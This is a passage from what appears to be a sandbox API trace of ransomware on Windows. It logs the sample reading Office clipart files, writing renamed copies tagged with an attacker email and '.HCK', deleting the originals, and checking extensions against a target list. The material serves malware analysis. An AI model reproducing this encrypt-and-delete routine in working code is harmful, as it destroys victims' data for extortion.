Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.355] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.355] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.356] GetLastError () returned 0x0 [0241.356] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xd902, lpOverlapped=0x0) returned 1 [0241.359] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xd910, lpOverlapped=0x0) returned 1 [0241.360] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.360] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.360] SetEndOfFile (hFile=0x3bc) returned 1 [0241.360] CloseHandle (hObject=0x3bc) returned 1 [0241.360] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.360] SetEndOfFile (hFile=0x4cc) returned 1 [0241.363] CloseHandle (hObject=0x4cc) returned 1 [0241.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 1 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString=".doc") returned 4 [0241.364] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.364] lstrlenW (lpString=".docx") returned 5 [0241.364] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0241.364] lstrlenW (lpString=".pdf") returned 4 [0241.364] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.364] lstrlenW (lpString=".xls") returned 4 [0241.364] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.364] lstrlenW (lpString=".xlsx") returned 5 [0241.364] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0241.364] lstrlenW (lpString=".ppt") returned 4 [0241.364] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString=".zip") returned 4 [0241.364] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.364] lstrlenW (lpString=".rar") returned 4 [0241.364] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.364] lstrlenW (lpString=".bz2") returned 4 [0241.364] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.364] lstrlenW (lpString=".7z") returned 3 [0241.364] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString=".dbf") returned 4 [0241.364] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString=".1cd") returned 4 [0241.364] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString=".jpg") returned 4 [0241.364] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.364] lstrlenW (lpString=".doc") returned 4 [0241.365] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.365] lstrlenW (lpString=".docx") returned 5 [0241.365] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0241.365] lstrlenW (lpString=".pdf") returned 4 [0241.365] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.365] lstrlenW (lpString=".xls") returned 4 [0241.365] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.365] lstrlenW (lpString=".xlsx") returned 5 [0241.365] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0241.365] lstrlenW (lpString=".ppt") returned 4 [0241.365] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.365] lstrlenW (lpString=".zip") returned 4 [0241.365] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.365] lstrlenW (lpString=".rar") returned 4 [0241.365] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.365] lstrlenW (lpString=".bz2") returned 4 [0241.365] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.365] lstrlenW (lpString=".7z") returned 3 [0241.365] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.365] lstrlenW (lpString=".dbf") returned 4 [0241.365] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.365] lstrlenW (lpString=".1cd") returned 4 [0241.365] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0241.365] lstrlenW (lpString=".jpg") returned 4 [0241.365] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.365] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.365] lstrlenW (lpString="J0178348.JPG") returned 12 [0241.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.366] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=36989) returned 1 [0241.366] CloseHandle (hObject=0x4cc) returned 1 [0241.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 0x220 [0241.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.367] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.367] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.367] GetLastError () returned 0x0 [0241.368] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x907d, lpOverlapped=0x0) returned 1 [0241.369] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x9080, lpOverlapped=0x0) returned 1 [0241.370] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.371] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.371] SetEndOfFile (hFile=0x3bc) returned 1 [0241.371] CloseHandle (hObject=0x3bc) returned 1 [0241.371] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.371] SetEndOfFile (hFile=0x4cc) returned 1 [0241.373] CloseHandle (hObject=0x4cc) returned 1 [0241.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString=".doc") returned 4 [0241.375] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.375] lstrlenW (lpString=".docx") returned 5 [0241.375] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0241.375] lstrlenW (lpString=".pdf") returned 4 [0241.375] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.375] lstrlenW (lpString=".xls") returned 4 [0241.375] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.375] lstrlenW (lpString=".xlsx") returned 5 [0241.375] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0241.375] lstrlenW (lpString=".ppt") returned 4 [0241.375] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString=".zip") returned 4 [0241.375] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.375] lstrlenW (lpString=".rar") returned 4 [0241.375] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.375] lstrlenW (lpString=".bz2") returned 4 [0241.375] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.375] lstrlenW (lpString=".7z") returned 3 [0241.375] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString=".dbf") returned 4 [0241.375] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString=".1cd") returned 4 [0241.375] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString=".jpg") returned 4 [0241.375] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.375] lstrlenW (lpString=".doc") returned 4 [0241.375] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.375] lstrlenW (lpString=".docx") returned 5 [0241.375] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0241.375] lstrlenW (lpString=".pdf") returned 4 [0241.375] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.375] lstrlenW (lpString=".xls") returned 4 [0241.375] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.376] lstrlenW (lpString=".xlsx") returned 5 [0241.376] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0241.376] lstrlenW (lpString=".ppt") returned 4 [0241.376] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.376] lstrlenW (lpString=".zip") returned 4 [0241.376] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.376] lstrlenW (lpString=".rar") returned 4 [0241.376] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.376] lstrlenW (lpString=".bz2") returned 4 [0241.376] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.376] lstrlenW (lpString=".7z") returned 3 [0241.376] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.376] lstrlenW (lpString=".dbf") returned 4 [0241.376] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.376] lstrlenW (lpString=".1cd") returned 4 [0241.376] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0241.376] lstrlenW (lpString=".jpg") returned 4 [0241.376] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.376] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.376] lstrlenW (lpString="J0178459.JPG") returned 12 [0241.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.377] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=29204) returned 1 [0241.377] CloseHandle (hObject=0x4cc) returned 1 [0241.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 0x220 [0241.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.378] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.378] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.379] GetLastError () returned 0x0 [0241.379] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x7214, lpOverlapped=0x0) returned 1 [0241.660] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7220, lpOverlapped=0x0) returned 1 [0241.661] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.661] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.661] SetEndOfFile (hFile=0x3bc) returned 1 [0241.661] CloseHandle (hObject=0x3bc) returned 1 [0241.661] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.661] SetEndOfFile (hFile=0x4cc) returned 1 [0241.664] CloseHandle (hObject=0x4cc) returned 1 [0241.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0241.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.665] lstrlenW (lpString=".doc") returned 4 [0241.665] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.665] lstrlenW (lpString=".docx") returned 5 [0241.666] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0241.666] lstrlenW (lpString=".pdf") returned 4 [0241.666] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString=".xls") returned 4 [0241.666] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString=".xlsx") returned 5 [0241.666] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0241.666] lstrlenW (lpString=".ppt") returned 4 [0241.666] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString=".zip") returned 4 [0241.666] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString=".rar") returned 4 [0241.666] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString=".bz2") returned 4 [0241.666] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.666] lstrlenW (lpString=".7z") returned 3 [0241.666] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString=".dbf") returned 4 [0241.666] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString=".1cd") returned 4 [0241.666] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString=".jpg") returned 4 [0241.666] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString=".doc") returned 4 [0241.666] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.666] lstrlenW (lpString=".docx") returned 5 [0241.666] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0241.666] lstrlenW (lpString=".pdf") returned 4 [0241.666] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString=".xls") returned 4 [0241.666] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString=".xlsx") returned 5 [0241.666] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0241.666] lstrlenW (lpString=".ppt") returned 4 [0241.666] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.666] lstrlenW (lpString=".zip") returned 4 [0241.666] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.667] lstrlenW (lpString=".rar") returned 4 [0241.667] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.667] lstrlenW (lpString=".bz2") returned 4 [0241.667] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.667] lstrlenW (lpString=".7z") returned 3 [0241.667] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.667] lstrlenW (lpString=".dbf") returned 4 [0241.667] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.667] lstrlenW (lpString=".1cd") returned 4 [0241.667] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0241.667] lstrlenW (lpString=".jpg") returned 4 [0241.667] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.667] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.667] lstrlenW (lpString="J0183172.WMF") returned 12 [0241.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.668] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=29788) returned 1 [0241.668] CloseHandle (hObject=0x4cc) returned 1 [0241.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 0x220 [0241.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 